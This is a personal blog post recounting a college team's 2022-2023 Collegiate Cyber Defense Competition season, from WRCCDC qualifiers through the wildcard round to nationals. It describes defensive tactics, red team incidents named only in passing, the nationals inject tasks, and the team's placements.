<p>The whole while, our services were mostly stable. On the Windows side, FTP would occasionally go down, but we were able to restore it quickly. On the Linux side, we had a couple of services go down, but we were able to restore them. Kubernetes was a Rancher deployment with several containers running various services, all connected via KeyCloak. Dylan’s research paid off as he was able to navigate and figure out how the whole deployment worked after a few hours, and even discovered secret passwords that weren’t previously given. Unfortunately, the Operations Team realized their mistake and made the secret known to all teams via a public announcement, so our hard-earned advantage was lost. Kubernetes definitely showed to be a tough beast to manage as the teams struggled to understand it. Eventually, Dylan and our Windows lead, <a href="https://altoid0.com/">Tanay</a>, identified that the deployment was also connected to the main AD server for DNS, so we were able to resolve our dependency issues and secure that connection. As we were nearing the last hour of competition, our subnet blocks had effectively made red team presence nonexistent. The only way they could affect our scored services was via logging in with default credentials and trying to mess with our web servers. Across the board, we did struggle with properly communicating between team members which services had their passwords changed, and which passwords were in current use. Fortunately, I made a quick script to automatically re-deploy database backups, so their red team efforts were (again) contained without us needing to worry about password changes.</p>
<p>The only thing we had to worry about was injects. We were able to keep up for the most part, but the sheer number of compliance-based injects made research a serious time crunch. We had to rate ourselves against several compliance frameworks and, to be honest, it was laughable at best. We were given way too much, with way too little time. Not only that, but there’s no way we could know all the compliance frameworks/have templates ready to go (which is advice that WRCCDC literally gives every year) unless we had come to expect this from previous years in addition to having established experience pipelines. This makes the competition extremely difficult for new teams for no good reason, in my opinion. But we did our best and submitted what we could until the very end. Qualifiers were exhausting, with plenty of our patented User Issues™ issues, but we felt like we had done enough to make it into the top 3 for certain, with a competitive chance of getting 2nd. It would have to end up being a close call on inject performance, but we figured other teams couldn’t have done too much better except for Stanford who were far and away the 1st place team.</p>
<p>This year the results were revealed live over an awards show/draft show of sorts organized by the WRCCDC Operations Team and was streamed on Twitch and YouTube. Because of this, we had no idea where we ended up in the grand scheme of things. When the broadcast started the next day, my team and I were all eagerly hoping to hear our name. First place went to Stanford. We knew that was inevitable. But then the real shocker hit. We got 4th place overall.</p>
<p><img src="/assets/images/blog/400-quals-show.png" alt="Image" /></p>
<blockquote>
<p>2022-2023 WRCCDC Qualifier Awards Show</p>
</blockquote>
<p>The difference between injects and services made no sense to us. It was clear that injects influenced the final placements the most. Even though we were 1st in defense, it made no meaningful impact. We had substantially better services and defense than the 2nd and 3rd overall teams, but injects were just a tad off and yet they placed above us. There was just something we couldn’t put our finger on. Injects used to be our strongest point, how could we have fallen so far? We were all disappointed, but we knew that we had to keep our heads up and keep pushing forward to make sure that we were ready for regionals.</p>
<p><img src="/assets/images/blog/400-5.png" alt="Image" /></p>
<blockquote>
<p>2022-2023 WRCCDC Qualifier Results</p>
</blockquote>
<h1 id="the-gauntlet--regionals">The Gauntlet // REGIONALS</h1>
<h2 id="arrival">Arrival</h2>
<p>When we arrived at the hotel, we were greeted by <a href="https://twitter.com/The1ProBro?s=20">The1ProBro</a> and received our competition binder. Included was basic information about the environment like lore about the fictional business, credentials to the inject portal, and a very, very low res topology with non-standard symbols for systems.</p>
<p>After getting settled in, we consolidated in my room to go over the binder and discuss our game plan. For the majority of the rest of the day, we analyzed everything in the binder and tried extrapolating everything we could knowing that there was information purposefully left out. While analyzing the topology, we realized that the environment would be a combination of this year’s invitationals and qualifiers environments with a few added elements. We were given 1 inject to complete that night which was to prepare a presentation detailing what our team’s plan was for the C-suite of the company. We designed a presentation but didn’t submit anything since the inject didn’t actually ask for anything to be submitted. We also began to write down some specific game plan elements with the information we had like injects we would expect, firewall rules we expected we would have to add, or other things we would need to information gather in everyone’s personal binders/notebooks. Midnight came sooner than I expected, so we decided to call it a night after going through everything one more time.</p>
<h2 id="day-1">Day 1</h2>
<p>The first morning of a competition always feels different. A blend of excitement, anticipation, and a dash of nerves. It’s something I never get tired of. My team met in the lobby to eat the hotel breakfast, but the line was way too packed with all the teams and other hotel guests. So, we gathered our things and headed directly to the competition which was held at Coastline Community College again this year. On our way there, we stopped at a nearby McDonald’s for breakfast. I got a sausage McMuffin and a hashbrown. We arrived at the competition, checked in, and waited in the lecture hall until the in-brief began. While getting our badges during check-in, we were informed that due to some last minute “supply-chain issues”, WRCCDC had to switch badge companies last minute which resulted in the Orange Team and Red Team badges having a near identical color (and no team name on the badge, which will be important later). Other than that, check-in went smoothly.</p>
<p>During the in-brief we were informed of several game-altering announcements:</p>
<ol>
<li>Google Drive would not be received until further notice (normally it would be received at the beginning of the day)</li>
<li>USBs would not be received until further notice (normally it would be received at the beginning of the day)</li>
<li>We would not have access to sign-up for anything due to not having the Google Drive email account</li>
<li>There was a lack of volunteers present at the beginning of the day, so coaches and alternates were asked to be room judges at first</li>
<li>The presentation inject would require presentations basically immediately after the competition started</li>
</ol>
<p>To put it lightly, we were not expecting any of this. A good portion of our strategy relied on these things not happening. I know first-hand how it is to run these kinds of events and sometimes things happen, so we won’t complain too much. We just had to adapt.</p>
<p>We rapidly had to start adjusting our game plan to avoid using Google Drive and even USBs.</p>
<details class="details">
<summary>Room Judge Shoutout</summary>
<p>Big shoutout to the coach of Saddleback College for being a great room judge and supporting us like their own. Later on, we got a different room judge who was also great and pretty funny. Legendary read on Dylan to instantly guess his favorite food is sushi. Really awesome people. 😊</p>
</details>
<p>We went up the stairs to the classroom for our team and got settled in. A lot of things were about to be on the fly.</p>
<p>The physical environment was set up as 3 rows of computers. The front row had an IP phone, a Cisco switch and router, an IP web cam, and 3 desktop computers (some ESXi). The second row had 3 laptops, a wireless router, and a desktop. The third row had 2 more laptops. Our environment wasn’t anything too unexpected, but we weren’t able to access the desktop that was hosting the web interface for our web camera. Considering the lack of lateral movement in the environment as far as we could tell, we didn’t think it would be too much of an issue and left it alone for the entire competition. The web camera was a bit of a concern, but we decided to communicate primarily over physical means with printed papers and sticky notes. This allowed us to avoid leaking our passwords by writing it on the whiteboard or by speaking it aloud. Besides, our main goal was to rotate passwords of all services, web apps, and users anyways. The Windows side of the environment was very predictable and was pretty much entirely scripted out. There wasn’t anything substantially added to the environment that wasn’t from the qualifiers and invitationals environments. It was only the Windows servers operating on the ESXi in our first row. The Linux side had a few unique systems and services, but they didn’t affect the scored services so I reinstalled several systems with a standard Windows 10 OS. The less weird, annoying quirks set up by the ops team the better. We were able to identify that the remote location (qualifiers environment) wasn’t really dependent on things running on our on-prem environment, so we were able to safely stick to our game plan for the most part.</p>
<p>There were a few scored services in the environment we couldn’t locate in any physical system nor virtual system. We knew they were there based on the scoring engine and presumed they were in AWS, but due to a permissions issue with our provisioned AWS account, we couldn’t view them in the AWS console. We had to bite the bullet and wait until the operations team got it sorted out. Unfortunately, we were also unable to log into our router. We tried every password we could think of, but nothing worked. We were able to get into the switch, but we couldn’t find any way to get into the router. We decided to leave it alone for the time being and focus on other things since the default credentials didn’t work for us so they shouldn’t work for the red team.</p>
<p>Other than that, regionals was fairly standard for WRCCDC. Our business lead, <a href="https://jessicacleung.com/">Jessica</a>, was called for presentations twice (being gone for upwards of 2 hours each time and unable to contribute to our injects) meant that I had to shift my priorities to injects and to answering phone calls for the majority of the early competition. We learned our lesson from last year, and this time we were ready to shift such roles fluidly.</p>
<p>One of the services that went down was a Linux web server that wouldn’t restore even after a reset. I suspected potentially a dependency was red teamed (like a database), but since I was focused on other things I couldn’t personally investigate. I tasked the Linux team, who were coordinating all our Linux systems, changing web app passwords, and managing Kubernetes services, to shift priorities to the one service as everything else seemed to be in order. Unfortunately, we were unable to resolve the issue by the end of day. For all other services that went down, we were quickly able to identify the reason and patch the issue with a firewall rule or a service restart.</p>
<p>When we left the room at the end of the competition time, we were feeling pretty good. We had a few services go down, but we were able to recover from them and we were able to get a lot of injects done. We went back to the hotel, got some dinner, had a quick debrief of our unresolved issues and goals for day 2, and went to bed early to get some rest for the next day.</p>
<h2 id="day-2">Day 2</h2>
<p>The second day of competition started off fine. We woke up well-rested, took our time getting ready, and waltzed into the lobby wondering why no other teams were prepping to leave. On our way to Coastline, we stopped at McDonald’s again (more sausage McMuffins yum) and ate outside the building.</p>
<p>But it wouldn’t be a WRCCDC competition without a “WHERE’S CALPOLY?” moment.</p>
<p>See, the night before I told my team that the in-brief for the second day would start at 8:30AM because I was referencing a hypothetical schedule posted in Discord before we got a real schedule. At that point I was so tired that I forgot we actually <em>did</em> get an official schedule in the competition binder we got when we arrived with <em>official</em> times for when events started. While eating outside the entrance, our room judge from the previous day came out of the building to grab something from his car and told us he was proud of us being second in the standings. We were confused. How did he know that?</p>
<p>“Oh, it was on the scoreboard in the in-brief. Everyone was just in the room.”</p>
<p>Even more confused we asked if teams were allowed to go in before the brief started, since it was <strong><em>totally supposed</em></strong> to start at 8:30, but he confirmed our worst fears: the in-brief started at 8:00, and <strong>ended</strong> at 8:30. Meaning the red team had just started, and we weren’t even in the building yet.</p>
<p><img src="/assets/images/blog/400-WRCCDC-schedule.png" alt="Image" /></p>
<blockquote>
<p>The schedule I followed even though I had the real schedule…</p>
</blockquote>
<p>And that’s how we started the day. We rushed into the building, Dr. Brown yelled “<strong>THERE YOU ARE CALPOLY</strong>”, and we ran to our room. We were about 10 minutes behind schedule, but we were determined to make up for lost time. We had a lot of ground to cover, and we had to do it fast.</p>
<p>Just as we were getting reaccustomed, a random guy walked into the room and demanded immediate access to our WiFi network. Because we missed the in-brief we had no idea if social engineering was now in play, so we were skeptical if he was Red Team or Orange Team. The badge color issue I mentioned earlier didn’t help. I approached the situation entirely in-character at first, but he quickly broke out of character when he realized we genuinely weren’t sure if it was authorized or not. We ended up having to make several phone calls with the White Team and Orange Team to confirm that he was indeed an orange team member and was not social engineering us. While he was kind enough to not penalize us for being excessively cautious (it’s a security competition after all), it still distracted us from the competition and wasted a lot of time. All the while, the Operations Team finally got around to completing our revert ticket, but they reverted our DC instead of our router.</p>
<details class="details">
<summary>How could they have made such an irresponsible mistake?</summary>
<p>First of all, the Operations Team was very swamped throughout the competition, so obviously we were aware such a thing <i>could happen</i>. As with any other interaction, we handled it professionally, and patiently informed the Operations Team of the situation and it got resolved. They said they would award points back, and give a brief grace period from the red team.</p>
<p>So, what actually happened? Stanford had submitted a revert ticket for their DC at the same time we submitted ours, and they just had a mixup with the team numbers. Funnily enough, we made the same exact mistake when our team was hosting our Fall RvB event during the WRCCDC Invitationals, and accidentally reverted the wrong participant's box. So we definitely understood that sometimes it just happens.</p>
</details>
<p>We decided we would just leave the router as it was since it wasn’t causing any problems, and at this point trying to fix it was proving to be a lot more trouble than it was worth. We had a lot of injects to do, and we were already behind schedule so taking out the internet wasn’t a favorable plan.</p>
<p>After a short while, Dylan was able to identify that I was correct in my assumption that the Linux web server was missing a Postgresql database that was pwned. He was able to get it back up and running, and we were able to get the service back online.</p>
<p>After that, we were pretty much on a pretty set course of action. We were grinding through injects and our services hardly went down after we finalized and double-checked our local firewall rules across everything. Angry customers were tamed, confused employees were made clairvoyant, and tickets were being filled.</p>
<p>Although the AWS permissions issue was fixed late the previous day, we didn’t really dive into AWS until the 2nd day. We found a deployment of containers that matched the scored services we were missing. They were really shoddy Python Flask apps (like a calculator) that were clearly vulnerable to simple command injection. While we couldn’t figure out how to use the CI/CD pipeline the operations team had set up to deploy the containers, we figured that we could simply just use a real-life strategy of load-balancing via multiple instances of the containers. We had like 5 instances of each container running, and whenever a service went down, the next check would likely hit an untouched instance of the service and we would just redeploy the affected containers. It wasn’t great, but it would indefinitely prevent SLAs. Happenstance or not, the red team didn’t attack the AWS scored services until late morning of day 2, so our late start for AWS didn’t really hurt us.</p>
<p>With these adaptations, we were on track to take over Stanford, the team in 1st place services. But, as luck would have it, our router finally gave out to whatever was wrong with it. We still couldn’t figure out what specifically had gone wrong, and we didn’t have internet access to make a revert request. It was so late into competition, anyways, so we didn’t feel like it was worth it to try and fix it. Everything on the co-location was still fully operational, so we just decided to focus on injects until the end of the competition. My business lead and I resorted to physically running back and forth between the White Team room and our room to submit the final handful of injects. We were able to get a lot of injects “done”, but they lacked quality. Due to time constraints, we had to rush through them and put the documents on the USB and pass it around to copy-paste the contents into a master doc before converting to PDF for submission. Once we finished the final inject, we had nothing to do but wait. Leaned back in our chairs, we stared at the clock.</p>
<p>5 minutes left. 4 minutes left. 3 minutes left. 2 minutes left. 1 minute left.</p>
<p>Hands up. That’s all we could do.</p>
<p><img src="/assets/images/blog/400-regionals.jpg" alt="Image" /></p>
<blockquote>
<p>Service status at the end of the competition</p>
</blockquote>
<p><img src="/assets/images/blog/400-uptime_teams.png" alt="Image" /></p>
<blockquote>
<p>Uptime percentages after day 2</p>
</blockquote>
<h2 id="awards">Awards</h2>
<p>This year, the WRCCDC team were able to bring back trophies for category winners. The categories were: Best in Defense, Best in Services, Best in Customer Service, and Best in Business.</p>
<p>I was starting to have flashbacks to last year’s awards ceremony. But the growth was made immediately clear. We placed in every category. 1st in Support, 1st in Defense, 3rd in Business, and 3rd in Services.</p>
<p>We took every trophy with pride. We were so proud of our team. We had worked so hard. Though, every placement that wasn’t 1st felt like a knock on the chin. After all the celebration over the minor victories, we still had the most important placement to go. In that moment, we knew that we had done well, but we didn’t know how well, and more importantly if we had done well enough to overtake the big dogs of Stanford. First place is a direct bye to nationals, but second still gets a last-chance shot in the Wildcard Round, where all the CCDC regions have their regional runner-ups duke it out for the last seeding into nationals. Then, Dr. Brown announced the final standings.</p>
<p>“In 3rd place,” I held my breath. “…Arizona State University!”</p>
<p>My heart was beating out of my chest. In my head I remember thinking, “If we weren’t third, then we were top two. We had to be. We made it to nationals, then? <em>I should be happy</em>.”</p>
<p>“In 2nd place,” I closed my eyes. “…Cal Poly Pomona!”</p>
<p>It was weird. I was happy, but I wasn’t. Sure, I was happy that we made it to wildcard, but I was disappointed that we didn’t get first. We received our silver medals, held our big trophy, and took our team photo. It was so bittersweet to know we had done well but fell short of our goal. Personally, I felt that we would have done better in our inject scores if I had gone to do the presentations instead of delegating that to our business lead and I regretted that. If you looked at our expressions, you would have thought we performed just as well as last year.</p>
<p>But we weren’t out this time. We still had a chance to make it to nationals through the wildcard round. All we had to do was do what had never been done before: win the wildcard.</p>
<p><img src="/assets/images/blog/400-6.jpg" alt="Image" /></p>
<blockquote>
<p>2022-2023 WRCCDC Regional Results</p>
</blockquote>
<h1 id="the-wet-season--wildcard">The Wet Season // WILDCARD</h1>
<p>3 days. We had 3 days to prepare for the wildcard round. WRCCDC is usually the latest region to hold their regional competition, so we had the least amount of time to prepare for the wildcard. The Wildcard round is a entirely different style of competition. It’s exactly Hivestorm (and we won that). ‘Nuff said. The same style of vulnerabilities, the only difference is that there is an added CTF component to the competition. Most of our team had competed in CyberPatriot at the national level before as well, so we were all very familiar with the “find-and-fix” competition. If anything, it was perfectly our comfort zone.</p>
<p>For the team members who were still new to this style of competition, we put together a mini-bootcamp to get them up to speed. We ran through practice images, methodology, and even speedruns for fun. We didn’t sleep very much those 3 days, but we could definitely secure a server.</p>
<p>That Wednesday, we were ready to go. Back in the same room we had competed in for qualifiers. This time with Porto’s (the best pastries/baked goods).</p>
<p>For this year’s wildcard, there were 4 Windows images and 4 Linux images, so a nice clean distribution for our team. While we started off slow compared to other teams, we picked up the pace by the end of the 4-hour competition, getting large swings in points in both the CTF and image scores within the latter half of the event. Our Windows mains had a 95%~ average, and our Linux team had an 80%~ average. Personally, it was a lot of fun to jump back into what I had done for 4 years in high school and prove I still had it. Whipping out the notes from my CyberPatriot days showed the growth I had made since then, when I was a no-name, bottom-of-the-barrel Linux kid.</p>
<p>The CTF wasn’t anything too crazy, some forensics and some cryptography. I was working on the cryptography section when I needed a break from the Linux images. The crypto challenges were a set of 6 XOR’d files that needed to have each key brute-forced using cryptanalysis. I was able to get 5 of the 6 keys, but the last one was a bit of a doozy. You were given the SHA256 hash of the original file, so you could verify if you found the right key. The flag was just the MD5 hash of the file.</p>
<p>We ended with the 2nd best image score, and the 4th best CTF score, but the overall highest.</p>
<p>With this victory secured, CPP became the first WRCCDC team in CCDC history to qualify for nationals through the wildcard round. The 7-year long nationals appearance drought was over. It seems like the wet season was about to begin.</p>
<p><img src="/assets/images/blog/400-8.png" alt="Image" /></p>
<blockquote>
<p>2022-2023 WRCCDC Wildcard Results</p>
</blockquote>
<h1 id="the-comeback--nationals">The Comeback // NATIONALS</h1>
<h2 id="arrival-1">Arrival</h2>
<p>Our trip <em>to</em> nationals was pretty straightforward. When we arrived at Dallas, we were greeted by some NCCDC sponsors and volunteers at the hotel which was at <a href="https://goo.gl/maps/6xc8tk6iYGprFWVp9">the Dallas/Addison Marriott Quorum</a>. After a day of traveling, we were tired and hungry for some Texan BBQ. Unfortunately, this is basically the only team picture we were able to take before competition, but I hold it near and dear to my heart.</p>
<p><img src="/assets/images/blog/400-bbq.jpg" alt="Image" /></p>
<blockquote>
<p>The team having some mid BBQ</p>
</blockquote>
<p>After we ate, we picked up some supplies like a whiteboard, pens, notebooks, etc. and headed back to the hotel for last minute preparations. We had a team meeting to go over our game plan for the next day and print out any last-minute documents. Originally, we had no access to prior years’ briefing packets the whole season, so we based all of our assumptions off of word-of-mouth comments from previous competitors. However, we discovered a repository <a href="https://github.com/mubix/howtowinccdc/">that collected them</a>. While combing over all the packets, we noticed that the competition has changed very little in recent years. The years of the pandemic left a lot of gaps of any potential recent changes, but sourque assured us it was still the same competition. Armed with that information, we drafted a plan that was much more tailored to a predicted environment than our more generic frameworks we had prepared for regionals. The environments tend to boil down to 3 networks that are all connected to each other. The first network is the “on-prem” network which contains the physical laptop workstations for competitors and usually also an ESXi with VMs. The second and third networks are usually fully remote ESXi servers filled with more VMs.</p>
<h2 id="day-1-1">Day 1</h2>
<p>The morning went by pretty quickly. We went to the hotel’s ballrooms which had been converted into the competition area. We were greeted by the NCCDC staff and volunteers who were all very friendly and helpful. We were given our team shirts and name tags, signed this year’s nationals banner, and had our pictures taken before the breakfast tables opened up.</p>
<p>While eating breakfast, we finally got the coveted briefing packet. We scrambled to read through it as fast as possible to get a feel for the environment. There were a few odd bits of information we weren’t expecting, like that every system need to have outbound connections to a specific IP, but nothing was too crazy. The CCS agent was something we were familiar with from the wildcard and our prior experience from CyberPatriot. Except this time, it literally only need to connect back and didn’t even score anything. It was just there to make sure we were doing things right. Another boon for us was the packet’s inclusion of scored service associated with an IP. We didn’t even have to discover it ourselves, which made things really easy.</p>
<p><img src="/assets/images/blog/400-env.jpg" alt="Image" /></p>
<blockquote>
<p>Environment Diagram from the 2022-2023 NCCDC Briefing Packet</p>
</blockquote>
<p>Lucky for us, the environment was very similar to what we had predicted using the packets of prior years. A big win for us.</p>
<p>Then, after all the initial speeches and sponsors, the real competition briefing began. Dwayne called all 10 team captains to the front of the room to pick our team numbers. With an excellent prediction maneuver (picking the far-right slip) we got Team 10. Usually team number shouldn’t matter, but as we saw at qualifiers, sometimes things just happen to hit low number teams first, so this was already a lowkey win for us.</p>
<p>Then, Dwayne explained a little about the competition and opened it up for questions before we officially began. The whole team was on edge, but we were excited to get started. Everything was falling exactly into place.</p>
<p>The first thing we did was secure our physical laptops with very simple firewall rules that basically boiled down to: deny all inbound. These physical workstation hosts had no scored services, so we were able to basically just firewall everything off and be safe at.</p>
<p>Generally, the first day of nationals sees very little red team presence. This year was not that. The red team came out of the gates swinging with immediate Eternal Blue and dropping payloads on our Windows infrastructure. Thanks to our Threat Hunter, <a href="https://www.covertops.xyz/">Justin</a>, we were able to detect it and respond quickly. Due to the nature of the early game, we focused on minimizing risk of persistence rather than IR reporting. Luckily the environment this year wasn’t configured to the point of unusable like we heard about in past years, so we were able to work quickly through our game plans.</p>
<p>The Linux side of things was very traditional in my experience. Lots of dependencies connected to a central database and a bunch of web servers (with a few other random things here and there). We noticed quickly that default credentials were gonna be a problem considering that there were several web apps running that all used the default credentials, but our WebApp lead, <a href="https://jimbobicle.com/">Jimmy</a>, was busy running through our initial checklists with the rest of our Linux team. Due to the scale of the environment, by the time we got to securing the web apps, the red team had already made their presence known on the database box. We attempted several band-aid fixes, but ultimately didn’t do anything drastic like reverting the box to a snapshot. We were confident that we could recover from the damage and that the red team would be more focused on other things. Both Windows and Linux web servers depended on the database, so we were especially cautious whenever making database changes like changing default passwords, swapping database users to prevent credential reuse, etc.</p>
<p>Our threat hunter set up Wazuh to double as a central logger/SIEM and as a means of IR detection. By about midway through the competition, we were able to basically completely eliminate Windows vulnerabilities. Using our OSINT skills, we were able to identify how all the open-source services worked and were then able to secure them.</p>
<p>The business side of this competition was way better than in WRCCDC. Many more technical/interaction based injects made it a much better experience for the whole team (especially our business lead, who was in compliance jail for all of WRCCDC this year). There was only 1 presentation that lasted like 10 minutes from the time our business lead left and came back. If you want a complete list of injects, I’ve included them below:</p>
<details class="details">
<summary>Nationals Injects</summary>
<p>
Confirm that all systems were using the listed primary and secondary DNS servers. If not, configure it to do so and note the change.
<br /><br />
Set up "Infirmary Integrated" to start receiving specific information about the patient's health on three different systems (one on each domain).
<br /><br />
Ensure that all Windows machines are domain-joined. If there are boxes that are not, domain join them and make note of it.
<br /><br />
Take into consideration the firewall equipment made available to us and propose a centralized logging solution that is compatible.
- Configure it properly and show traffic from multiple firewalls.
- List top 10 sources of network traffic across each of the three domains.
<br /><br />
New member of the team requires SSH access. Inject provides us with their public key which needs to be configured on all SSH services.
<br /><br />
Perform an audit of all user accounts. Identify and take note of all anomalies using the HR system as a point of reference. Do not remove any instances of anomalies yet (can disable the accounts in the process).
<br /><br />
A member of the team got promoted and now requires administrative access to the three EMR web apps.
Create a one page cybersecurity flyer to be posted in the break room.
<br /><br />
Create a 7-8 minute presentation on our HIPAA compliance status.
- Are we compliant? If not, what steps do we have to take to become compliant?
- What is our plan of action if PII, PHI, or other sensitive information becomes compromised?
- What are our legal obligations if we do get breached?
<br /><br />
Create an RDP Jumpbox with a given IP address. Allow orange team access to Windows Servers from Jumpbox. Do not disable RDP unless otherwise told.
<br /><br />
Create an incident response report on any red team activity we spotted on our systems. This incident response report is to be distributed to other teams for information sharing.
<br /><br />
Determine the scope for a red team assessment.
<br /><br />
Conduct a risk assessment of our network.
<br /><br />
Repeat of Inject #2 for Day 2.
<br /><br />
Vote on the top 3 incident response reports.
<br /><br />
Go in for the presentation at your allotted time.
<br /><br />
Remove all instances of unauthorized accounts and report them.
<br /><br />
Configure SSH to block IP's for 5 minutes after 6 failed attempts in 60 seconds on all scored SSH services.
- Report any instances of employees accessing social media platforms
- Log and block access to specified social media platforms.
Instagram, Twitter, Tiktok, etc.
<br /><br />
Migrate a service from one box to another. OR migrate the service from one application to another. OR containerize the service. Your choice. Explain why you chose your migration method.
The service must still maintain the same public IP after migration!!!
<br /><br />
The user ""kogami"" expressed concerning statements during their off-boarding meeting. Brings up concerns of insider threat.
- Remove all ""kogami"" accounts
- Investigate logs for unusual activity for ""kogami""
<br /><br />
Check for traffic from given IP address. Note any anomalous activity.
<br /><br />
Inventory the MAC Addresses of all devices and explain your defenses against Layer 2 attacks.
<br /><br />
Give your recommendations on outsourcing firewall management to a Managed Service Provider.
<br /><br />
How would we assess each risk assessment proposal
<br /><br />
Provide guidance on which firewall vendor to use for all network firewalls. Choose between Cisco and Palo Alto, explain why.
<br /><br />
Gather a list of the top 10 ports and IPs seen in network traffic.
</p>
</details>
<p>I mostly focused on getting the team through the early phase of the competition where it feels like things are coming from a hundred angles. I wrote notes about the environment, drew a topology, and marked any activity we noticed. My manager role was designed to give an individual the space to focus on the big picture and to make sure we were all on the same page. For example, communication directly between two people isn’t always clear or effective, but a third-party listening in can identify the issues and open up the information silos that tend to be built up throughout a competition. The manager being the central flow of all information also makes it a pristine option for answering the IP phone (which was graded customer interactions). The manager will be more likely to answer questions or be familiar with who has the required information as opposed to a random team member who focuses within their bubble.</p>
<p>The LED service boards in Dwayne’s headquarters are a fun and IMHO cool way to represent the competition-wide scoreboard for teams. Unfortunately, they served to be more of a distraction to teams. It’s hard to focus on the competition when you’re constantly leaving your room to go look at it. I made it a point to minimize our time spent looking at it, but even I couldn’t help but go out to see how our services were doing relative to everyone else. Everyone seemed to be hit evenly, though, so it was definitely a waste of time to go out and re-verify things we already knew. Don’t get me wrong though, it’s a cool idea and I’m glad they do it, but teams need to not fall for the bait.</p>
<p>At the end of the first competition day, we still couldn’t stabilize the database box’s defenses (it was frequently being targeted for obvious reasons) which left a lasting impression in our service score for the first day (as its tendrils happened to affect multiple services). The rest of the Linux environment was pretty much locked down to the best of our knowledge. The entire Windows side was basically untouched, and we were confident in its defenses.</p>
<p>We had a working dinner where we discussed all the observations we made about the environment. While in the heat of the competition, it’s so easy to get tunnel vision and miss the bigger picture. We realized that the entire environment was full of self-contained servers which means they only needed to allow traffic with the competition servers. We redrafted our local firewalls and basically focused all our defense into the database server. We printed new documents so that everyone had a copy of the topology and a mapping of services to IPs, then ended the night with a clear path forward.</p>
<h2 id="day-2-1">Day 2</h2>
<p>We were all sleepy on the second day. Some members couldn’t help but fall asleep during breakfast. But since we were decently confident from the first day, we allowed ourselves to be more relaxed.</p>
<p>The second day’s brief was much shorter. Very quickly, Dwayne revealed the scores from the previous day. Somehow, despite all our efforts, we didn’t place well in any category. This woke us all up. We had to really kick into high gear to gain some ground.</p>
<p>Right out of the gate, I started to resecure the database server, but the red team was much more aggressive than we expected. Perhaps it was because they didn’t have a ton of activity elsewhere, but they continued to hammer the database over and over again. Our SQL backup wasn’t poisoned, but we didn’t have a copy of our latest version that wasn’t already pwn’d. So, we had to use an old version of the database, but that led to a bunch of credential reassignments because it was before we employed per-service DB users. So, we spent at least an hour going back and forth between credentials and backups. At a certain point it proved to be too much of a hassle.</p>
<p>While all of this was happening, the rest of the Linux team was working on mass deploying scripts which led to our Linux main opening up their laptop’s firewall so that our web admin could get some files. However, we forgot to turn the firewall back off, so the red team was able to get a foothold on the laptop. We were able to quickly identify that they deployed Sliver, so we were able to quickly remove it, resecure the laptop, and submit an IR report. The red team didn’t seem to do much with their beacon, so it was easily mitigated.</p>
<p>About mid-way through the day, while checking on the LED boards, we got unexpected, good news. The active incident light was off (meaning it was successfully mitigated). Apparently, this incident was a rogue admin that we had to remove from our network. We were the only team to discover due to documenting our actions, which meant that we were able to get it back after reverting. The only other team that managed to get the incident did it by accident, so they weren’t able to get it back after they reverted. Documentation and team communication are important. The active incident was worth several hundred points, so we knew it was a significant swing to hopefully narrow the service gap.</p>
<p>Our threat hunter wasn’t too busy considering we had very minimal incidents that he could actually affect. The database would seem like an obvious choice, but we couldn’t deploy a Wazuh agent on it due to it being incompatible for some reason. So he was mostly just monitoring the network and the Windows side of things. Fortunately, LSASS calling out to localhost kept him busy for a while. This false positive was just enough to distract us from real red team activity where he left a Python HTTP server running, which had credentials for the Wazuh deployment in an install script and let them deploy an ARP storm across our network which seriously messed with our internal network. The Linux team had to rapidly flush our ARP tables to fix the sinkhole and shut down Wazuh entirely since there wasn’t much use if there weren’t reportable incidents.</p>
<p>Our network lead, <a href="https://evandeters.com/">Evan</a>, was focused on dealing with a defective Palo Alto firewall that was causing a lot of issues. Even the Palo Alto support staff weren’t able to troubleshoot it despite providing a new switch. We left our default Juniper switch as our only line of defense because we only had like 4 VMs on our physical network. Unfortunately, an inject wanted us to compare and contrast different vendors (Cisco vs Palo Alto). For attempted support, we tipped in favor of Palo Alto as Cisco had sent 0 people.</p>
<p>At the end, we were all-hands on-deck writing the rest of the injects since our entire network was basically locked down. Nothing was too crazy, but it was hard to focus because all our brains were fried from handling so many curve balls. Despite our exhaustion, we really wanted the competition to keep going because we had all our services up and needed to close the gap, but there’s only so much time in a day.</p>
<h2 id="post-competition">Post-Competition</h2>
<p>My team and I composed ourselves in my room as we went over our combined experiences to decompress from the competition. Based on the preliminary public scoreboard, we knew top 4 was Stanford and UVA firmly in top 2, then DePaul University followed by us for 3rd and 4th. I tried to keep a positive spin on things. We were the only team to get the active incident, so that should close the gap between us and DePaul, even if we had no chance to catch up with the other 2. We were probably fighting for 3rd with the possibility of being in the lead depending on how much the active incident was worth (we didn’t know at the time). It was a bitter pill to swallow but considering our odds and our lack of nationals experience, we agreed that getting 3rd would be a huge accomplishment in the eyes of many. It was 3rd or bust.</p>
<p>After the brief resting period, it was time for the networking and recruiting events for all the sponsors. All the representatives from sponsors were a pleasure to talk to (and a lot of really cool opportunities offered), but I think the highlight of the night was talking to some of the other competitors and especially to our red team. Despite their reputation, the red team are all very friendly. The red team revealed themselves to be the <a href="https://twitter.com/HECFBlog">red team captain</a>, <a href="https://twitter.com/syndrowm">syndrowm</a>, and <a href="https://www.linkedin.com/in/acote2/">Alex</a>. We talked about the competition, and they gave us some insight into what it was like to be on the red team and some of their experiences in the industry. Huge shoutout to them for really pushing us in the competition, and I hope to see them again in the future.</p>
<p>By the time the event was closing down, we were all completely exhausted. We had been up since 8AM, and it was now 10PM. Of those 14 hours, we had been competing for more than 8. We were all hungry, but too tired to go out and get food. We decided to UberEats food from a local restaurant.</p>
<p>The food wasn’t great, but at least it was something. In a way, I guess we were hoping for something similar during the awards ceremony. After hours of talk about improvements for next year and whether or not we would compete in the next day’s event, Panoply. Panoply is a king-of-the-hill competition, where there’s basically like 50+ shared boxes that are all vulnerable and require teams to pwn them and write their flag in certain places depending on the scored service. None of us had done it before, so a few members didn’t want to wake up early just to lose. Eventually, though, we decided that we would compete in Panoply. We had nothing to lose, and we were already here. It was best to make the most of our time at nationals, especially since some of us wouldn’t get another chance.</p>
<p>And so, we said our goodnights and went to bed.</p>
<h1 id="four-hundred--awards">Four Hundred // AWARDS</h1>
<p>Waking up at 8AM was hard. So hard that some members called it quits and went back to sleep (they were feeling sick, it’s just an inside joke). But nonetheless we were a few members down, and we felt that at breakfast. We were all pretty quiet, pretty tired, and all pretty sure we were going to lose Panoply, but we were going to try anyways.</p>
